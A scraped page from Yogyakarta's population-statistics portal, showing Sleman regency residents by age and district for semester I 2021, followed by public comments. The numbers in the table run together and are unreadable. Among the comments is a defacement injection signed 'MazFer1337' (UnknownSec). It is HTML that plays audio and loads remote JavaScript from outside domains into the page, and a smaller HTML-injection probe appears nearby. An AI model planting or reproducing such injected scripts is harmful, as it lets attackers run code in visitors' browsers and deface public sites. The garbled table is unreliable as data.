Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaGAMPINGGODEANMOYUDANMINGGIRSEYEGANMLATIDEPOKBERBAHPRAMBANANKALASANNGEMPLAKNGAGLIKSLEMANTEMPELTURIPAKEMCANGKRINGANTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun1.019938 1.957738653 1.391342311 653286326 612583509 1.092968939 1.9071.3311.199 2.530587553 1.140620550 1.170923903 1.826716629 1.3451.0821.038 2.120734707 1.441556569 1.125392409 801403409 812418355 77311.698 10.997 22.695
2 tahun630613 1.243456448 904194208 402190177 367359317 676643610 1.253835792 1.627425347 772387379 766597551 1.148449411 860727637 1.364503468 971359346 705264224 488252229 481231234 4657.501 6.991 14.492
3 tahun690627 1.317430432 862223177 400188197 385368337 705678657 1.335912823 1.735406345 751368365 733575557 1.132451427 878741701 1.442497424 921334340 674255254 509260236 496228197 4257.604 7.096 14.700
4 tahun664621 1.285465414 879200184 384207196 403334300 634660568 1.228832841 1.673371373 744384348 732569543 1.112490422 912696700 1.396478486 964361362 723255225 480232242 474215203 4187.413 7.028 14.441
5 tahun679676 1.355504487 991224179 403188201 389379370 749685623 1.308922882 1.804416402 818414397 811654575 1.229479457 936791695 1.486520500 1.020399354 753285229 514255288 543212195 4078.006 7.510 15.516
6 tahun674689 1.363495483 978211216 427188207 395370346 716662631 1.293881865 1.746406399 805376399 775590551 1.141488482 970759723 1.482557465 1.022380372 752274255 529282263 545224221 4457.817 7.567 15.384
7 tahun702636 1.338496475 971242176 418203213 416352344 696711640 1.351912856 1.768444399 843405386 791628582 1.210474452 926839772 1.611510558 1.068370359 729259255 514275264 539226215 4418.048 7.582 15.630
8 tahun747686 1.433513484 997232228 460192223 415385374 759730662 1.392973950 1.923442428 870392401 793647622 1.269498476 974814780 1.594546530 1.076424374 798281221 502304262 566239257 4968.359 7.958 16.317
9 tahun721737 1.458568541 1.109245217 462241228 469417400 817706751 1.4571.020976 1.996482431 913456407 863655640 1.295533524 1.057791737 1.528524556 1.080395425 820306264 570312265 577257266 5238.629 8.365 16.994
10 tahun710710 1.420552520 1.072231240 471257231 488357368 725784703 1.487946865 1.811435418 853477429 906627644 1.271520446 966803710 1.513568519 1.087450406 856287287 574263271 534240225 4658.507 7.992 16.499
11 tahun715685 1.400569515 1.084249207 456222237 459380399 779722693 1.415961928 1.889467403 870440406 846655682 1.337487509 996814774 1.588583490 1.073440398 838270275 545302259 561240255 4958.516 8.115 16.631
12 tahun772751 1.523574518 1.092251240 491243233 476400415 815790738 1.528977909 1.886500461 961481427 908732696 1.428564494 1.058781805 1.586586596 1.182428408 836313291 604299295 594269259 5288.960 8.536 17.496
13 tahun734627 1.361554476 1.030252216 468224253 477418351 769711697 1.4081.001903 1.904416396 812436414 850670603 1.273510489 999778780 1.558553546 1.099426447 873272286 558291258 549263212 4758.509 7.954 16.463
14 tahun724705 1.429525532 1.057238227 465225225 450398350 748710697 1.407998960 1.958414465 879424468 892719654 1.373490442 932798756 1.554580547 1.127455410 865286277 563296290 586268259 5278.548 8.264 16.812
15 tahun720727 1.447539481 1.020254212 466217198 415382340 722705627 1.332862836 1.698429385 814404360 764701572 1.273462422 884749684 1.433552544 1.096386380 766294260 554293271 564244229 4738.193 7.528 15.721
16 tahun650655 1.305489471 960196209 405233211 444357340 697687632 1.319874825 1.699424411 835347381 728652543 1.195431426 857733652 1.385551478 1.029401376 777262227 489259281 540227208 4357.773 7.326 15.099
17 tahun734660 1.394481463 944225206 431225189 414336367 703636627 1.263870813 1.683415400 815394411 805639557 1.196503444 947703683 1.386497518 1.015423374 797253269 522281266 547220200 4207.835 7.447 15.282
18 tahun714676 1.390526500 1.026234208 442237200 437394366 760690647 1.337879837 1.716395400 795377370 747667620 1.287482465 947752722 1.474552567 1.119457429 886277289 566294288 582248198 4468.175 7.782 15.957
19 tahun755668 1.423493488 981232224 456216209 425341372 713695703 1.398873804 1.677463413 876362406 768660589 1.249521454 975750651 1.401541521 1.062449373 822307297 604274264 538214237 4518.146 7.673 15.819
20 tahun720673 1.393495504 999250206 456237220 457375376 751704719 1.423873869 1.742422409 831424395 819634686 1.320499432 931799672 1.471573514 1.087430401 831320297 617345308 653245229 4748.345 7.910 16.255
21 tahun711749 1.460551502 1.053266249 515218241 459389409 798722666 1.388982881 1.863422426 848378411 789651654 1.305464479 943743727 1.470541496 1.037418408 826329289 618304234 538247249 4968.336 8.070 16.406
22 tahun622565 1.187458417 875204204 408209187 396335328 663619574 1.193813771 1.584361360 721345336 681545600 1.145430416 846662611 1.273495489 984395391 786268237 505271249 520214200 4147.246 6.935 14.181
23 tahun656648 1.304478494 972217232 449223204 427351360 711692631 1.323924825 1.749397377 774387356 743625559 1.184444428 872718659 1.377477485 962367402 769308278 586314230 544250224 4747.828 7.392 15.220
24 tahun669620 1.289504491 995211221 432225220 445341383 724713628 1.341890854 1.744399377 776383323 706636609 1.245478447 925782679 1.461514479 993384395 779308258 566295287 582217228 4457.949 7.499 15.448
25 tahun650678 1.328477475 952224219 443244239 483366376 742687655 1.342962887 1.849393383 776372372 744635588 1.223456446 902755723 1.478540508 1.048384395 779261257 518255268 523217193 4107.878 7.662 15.540
26 tahun691694 1.385499464 963233247 480214227 441314354 668696705 1.401935988 1.923393378 771399394 793661626 1.287494462 956754768 1.522506526 1.032396379 775295264 559294296 590230235 4658.004 8.007 16.011
27 tahun694666 1.360449425 874203209 412219200 419337375 712663642 1.305900939 1.839387375 762420366 786596564 1.160447437 884689747 1.436448485 933352351 703276269 545282239 521205225 4307.567 7.514 15.081
28 tahun645650 1.295496504 1.000219196 415217209 426378345 723676669 1.345909917 1.826359353 712400374 774590537 1.127461438 899671712 1.383489492 981335361 696264238 502256264 520222212 4347.587 7.471 15.058
29 tahun702747 1.449480515 995214230 444216192 408357339 696672671 1.343915921 1.836343411 754372407 779600650 1.250450443 893687717 1.404499476 975357354 711283238 521249251 500220236 4567.616 7.798 15.414
30 tahun676687 1.363461507 968203220 423216182 398332315 647675664 1.339909907 1.816390365 755376363 739601554 1.155440468 908669750 1.419495434 929339345 684237255 492241245 486200217 4177.460 7.478 14.938
31 tahun705664 1.369500486 986167215 382192213 405349342 691619668 1.287833920 1.753348376 724368409 777586571 1.157391418 809657704 1.361467471 938378306 684220233 453213232 445198207 4057.191 7.435 14.626
32 tahun636656 1.292427455 882208211 419193175 368325333 658625639 1.264917876 1.793336365 701362337 699518527 1.045421466 887624757 1.381452457 909295347 642236244 480242222 464207193 4007.024 7.260 14.284
33 tahun667595 1.262442428 870211203 414149206 355327333 660629642 1.271907904 1.811375402 777323404 727520597 1.117417408 825758751 1.509424457 881321358 679240234 474229238 467180200 3807.119 7.360 14.479
34 tahun627640 1.267450455 905175191 366210231 441337361 698670637 1.307857941 1.798379402 781339383 722553572 1.125437460 897715764 1.479394461 855341361 702202231 433228238 466185208 3937.099 7.536 14.635
35 tahun697696 1.393482499 981222199 421165201 366356354 710638663 1.301901925 1.826390424 814385424 809558603 1.161437448 885736730 1.466464467 931349354 703242226 468236247 483203215 4187.461 7.675 15.136
36 tahun717760 1.477527544 1.071218218 436192209 401373331 704708700 1.4089901.025 2.015424472 896411419 830597640 1.237451457 908765765 1.530484518 1.002363412 775230259 489252269 521211193 4047.913 8.191 16.104
37 tahun716756 1.472553543 1.096224224 448211231 442371363 734672741 1.4131.0441.072 2.116481460 941448397 845683637 1.320492483 975799763 1.562499515 1.014359392 751285279 564225259 484194242 4368.256 8.357 16.613
38 tahun846806 1.652607579 1.186267253 520279267 546424451 875773813 1.5861.1181.140 2.258445472 917423444 867696781 1.477469545 1.014877917 1.794545598 1.143419443 862297306 603310246 556250271 5219.045 9.332 18.377
39 tahun793774 1.567600529 1.129255278 533225237 462438408 846796736 1.5321.1151.101 2.216419449 868426419 845666696 1.362514519 1.033794821 1.615523575 1.098422405 827259283 542265303 568243247 4908.753 8.780 17.533
40 tahun787795 1.582603542 1.145258251 509273232 505455426 881795762 1.5571.0941.039 2.133492484 976467426 893655710 1.365531577 1.108830817 1.647536518 1.054398415 813292279 571299292 591254269 5239.019 8.834 17.853
41 tahun776793 1.569562582 1.144267253 520237240 477418430 848833729 1.5621.0471.073 2.120445479 924472455 927685705 1.390468499 967812827 1.639551610 1.161417420 837268311 579303321 624247254 5018.808 8.981 17.789
42 tahun781720 1.501536539 1.075247243 490247244 491409392 801723767 1.4901.0011.031 2.032457468 925469400 869654669 1.323496530 1.026797803 1.600595586 1.181414383 797262288 550300284 584250241 4918.638 8.588 17.226
43 tahun750698 1.448549549 1.098268255 523245258 503400354 754685787 1.472974971 1.945465468 933456435 891662674 1.336489496 985740822 1.562525530 1.055418428 846313288 601263317 580258253 5118.460 8.583 17.043
44 tahun758777 1.535526583 1.109286251 537248264 512390357 747754754 1.508952976 1.928474412 886394408 802697700 1.397484499 983744820 1.564548540 1.088452430 882284265 549305311 616259257 5168.555 8.604 17.159
45 tahun729770 1.499571577 1.148243287 530253208 461398410 808737771 1.508924921 1.845437469 906395421 816653687 1.340473467 940677768 1.445537532 1.069407423 830252307 559307313 620272261 5338.265 8.592 16.857
46 tahun663713 1.376531526 1.057258272 530243252 495400368 768745703 1.448792880 1.672442437 879399397 796656671 1.327436428 864687818 1.505525547 1.072434404 838303308 611244300 544246262 5088.004 8.286 16.290
47 tahun647643 1.290530527 1.057255227 482248237 485347390 737663651 1.314842889 1.731417420 837352375 727639632 1.271451451 902722650 1.372487473 960395454 849267299 566274317 591214225 4397.750 7.860 15.610
48 tahun753751 1.504546558 1.104258265 523245238 483414434 848660700 1.360928970 1.898438493 931392415 807614633 1.247479470 949711759 1.470587585 1.172458474 932285299 584300310 610249238 4878.317 8.592 16.909
49 tahun668701 1.369524523 1.047244245 489219249 468403362 765677680 1.357858886 1.744414395 809385369 754583618 1.201436437 873697699 1.396510551 1.061430386 816269312 581285278 563265244 5097.867 7.935 15.802
50 tahun643666 1.309498508 1.006256272 528235226 461392370 762681665 1.346843948 1.791412432 844349349 698629640 1.269424421 845657709 1.366517568 1.085437410 847314293 607254271 525235201 4367.776 7.949 15.725
51 tahun685733 1.418484563 1.047263248 511226260 486398424 822720740 1.460883920 1.803422434 856380426 806624681 1.305494498 992687757 1.444539581 1.120447475 922306304 610304338 642254266 5208.116 8.648 16.764
52 tahun603636 1.239504521 1.025238235 473244252 496370427 797653711 1.364832915 1.747453423 876356407 763587632 1.219445479 924699707 1.406554581 1.135423485 908331289 620277274 551249281 5307.818 8.255 16.073
53 tahun633699 1.332494521 1.015214225 439236236 472368387 755647696 1.343782902 1.684368401 769355369 724540586 1.126448439 887625676 1.301468462 930439405 844291301 592278311 589224215 4397.410 7.831 15.241
54 tahun605640 1.245442483 925218236 454208214 422340352 692574610 1.184709793 1.502347367 714328336 664505557 1.062403412 815619662 1.281482465 947361374 735259253 512271260 531176179 3556.847 7.193 14.040
55 tahun639734 1.373497506 1.003239248 487226248 474373372 745574639 1.213784863 1.647348393 741323358 681608610 1.218396409 805600680 1.280511517 1.028383420 803269262 531248297 545179217 3967.197 7.773 14.970
56 tahun627612 1.239437434 871191207 398168219 387280319 599492628 1.120734835 1.569308351 659300317 617501523 1.024336422 758535584 1.119393475 868309349 658237217 454235256 491180189 3696.263 6.937 13.200
57 tahun550631 1.181409447 856207218 425187207 394272322 594504602 1.106671762 1.433339371 710286318 604477498 975313401 714542603 1.145413405 818316344 660226236 462222239 461182181 3636.116 6.785 12.901
58 tahun535566 1.101427472 899196197 393170191 361276308 584512586 1.098651778 1.429337336 673250365 615456488 944332356 688482544 1.026385416 801295317 612206241 447199225 424153187 3405.862 6.573 12.435
59 tahun505540 1.045363439 802179184 363173210 383255294 549473539 1.012656695 1.351286296 582283293 576373454 827291330 621489551 1.040333391 724267325 592205186 391189211 400145163 3085.465 6.101 11.566
60 tahun521560 1.081411459 870164214 378191231 422275343 618533543 1.076628723 1.351269316 585276301 577421461 882307343 650476560 1.036376407 783317353 670192245 437179242 421156177 3335.692 6.478 12.170
61 tahun502554 1.056382404 786193237 430190214 404254313 567528552 1.080642733 1.375288306 594291328 619438477 915309362 671479553 1.032382399 781270299 569179199 378213243 456182179 3615.722 6.352 12.074
62 tahun480531 1.011377383 760197196 393166221 387285279 564457505 962583655 1.238240303 543274300 574370437 807328336 664502516 1.018314365 679225296 521182190 372183201 384156140 2965.319 5.854 11.173
63 tahun425445 870375346 721160190 350175184 359229248 477414483 897524613 1.137237286 523259260 519337401 738273306 579438460 898284310 594264274 538171169 340169187 356147155 3024.881 5.317 10.198
64 tahun439446 885300360 660180194 374168186 354221258 479424445 869481589 1.070226233 459231259 490321345 666250269 519426478 904282330 612259319 578144169 313154170 324107174 2814.613 5.224 9.837
65 tahun399440 839263336 599169200 369141171 312220254 474409368 777479563 1.042203230 433214242 456311345 656260285 545375350 725292335 627227230 457157168 325178178 356124153 2774.421 4.848 9.269
66 tahun376371 747317300 617174177 351177166 343205213 418349374 723450536 986225201 426204200 404326286 612244267 511346447 793271275 546247221 468130122 252132141 273118111 2294.291 4.408 8.699
67 tahun343359 702277273 550129177 306138129 267199190 389335313 648451490 941170197 367217212 429280286 566234238 472354334 688234267 501184181 365151149 300144146 290107131 2383.947 4.072 8.019
68 tahun321313 634239272 511137179 316126130 256174175 349292300 592410429 839157176 333188169 357226260 486211212 423301303 604237255 492200168 368129134 263106107 213107112 2193.561 3.694 7.255
69 tahun242264 506227214 441116152 268116146 262147146 293245262 507337358 695136141 277133160 293210202 412167170 337244268 512189196 385166150 31684111 195105115 22090100 1902.954 3.155 6.109
70 tahun229233 462194254 448135168 303122174 296142172 314213235 448274316 590142137 279161167 328194238 432160171 331243275 518187201 388182187 369104130 23497141 23891140 2312.870 3.339 6.209
71 tahun223210 433168187 355100121 22192120 212112123 235190211 401259309 568117121 238135166 301163176 339124170 294188240 428167180 347129164 29381103 18490103 1937477 1512.412 2.781 5.193
72 tahun169235 404147207 354128138 26695149 244119157 276192232 424219330 549103144 247125143 268144206 350118164 282230277 507130189 319106153 25984102 18674129 2037492 1662.257 3.047 5.304
73 tahun138156 294121128 24996122 21892137 22986101 187131191 322199238 43771121 192111153 264144167 311119121 240159195 354100124 22494114 2086273 1358897 1855369 1221.864 2.307 4.171
74 tahun108165 273106164 27095109 20471105 17692110 202130170 300176209 3856484 14886109 195132163 29581133 214122198 320117159 27695119 2146176 13763113 1765673 1291.655 2.259 3.914
75 tahun129153 282143138 28178101 179110144 25493136 229151168 319176225 40179123 20287131 218136182 31897154 251156212 368110157 267127151 27871100 17158114 1726071 1311.861 2.460 4.321
76 tahun117141 258104128 23210095 19581103 1847186 157115142 257155199 3547274 14681114 195122117 2399395 188117162 279124112 23610774 1816868 1365671 1274265 1071.625 1.846 3.471
77 tahun96125 221121136 2578898 18610395 19884122 206114155 269175220 3959085 17570114 184114137 25189126 215133142 275119108 2278798 1857194 1657168 1394871 1191.673 1.994 3.667
78 tahun116140 256154133 28791107 19886100 186116103 219125149 274166209 3758897 18510693 199137142 27997132 229176168 344106125 231116110 2267873 15159105 1647785 1621.894 2.071 3.965
79 tahun9192 183115108 2236372 1355669 1256667 133117126 243152154 3065958 1177080 15090103 1937593 16898117 2159080 1707172 1433235 676789 1563760 971.349 1.475 2.824
80 ke atas533750 1.283579755 1.334386511 897395552 947399573 972563834 1.3977031.032 1.735308509 817437654 1.091520801 1.321468708 1.176611847 1.458431616 1.047375587 962321457 778322503 825321396 7177.672 11.085 18.757
Jumlah46.92847.31294.24035.05635.28270.33816.63016.88733.51715.85816.65632.51425.43225.86851.30046.35146.78693.13761.14962.704123.85327.64528.13655.78126.83227.43154.26341.64542.23583.88031.36931.84763.21649.08150.09599.17634.79935.44670.24527.04527.50354.54818.74318.77437.51718.69819.31438.01215.73916.06331.802 539.000 548.339 1.087.339
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih